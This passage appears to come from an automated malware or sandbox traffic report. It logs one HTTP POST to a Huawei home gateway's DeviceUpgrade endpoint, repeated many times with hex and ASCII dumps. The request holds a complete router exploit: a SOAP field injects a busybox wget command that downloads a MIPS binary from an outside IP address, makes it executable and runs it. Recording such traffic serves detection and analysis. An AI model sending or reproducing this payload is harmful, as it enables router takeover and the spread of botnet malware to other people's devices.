?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 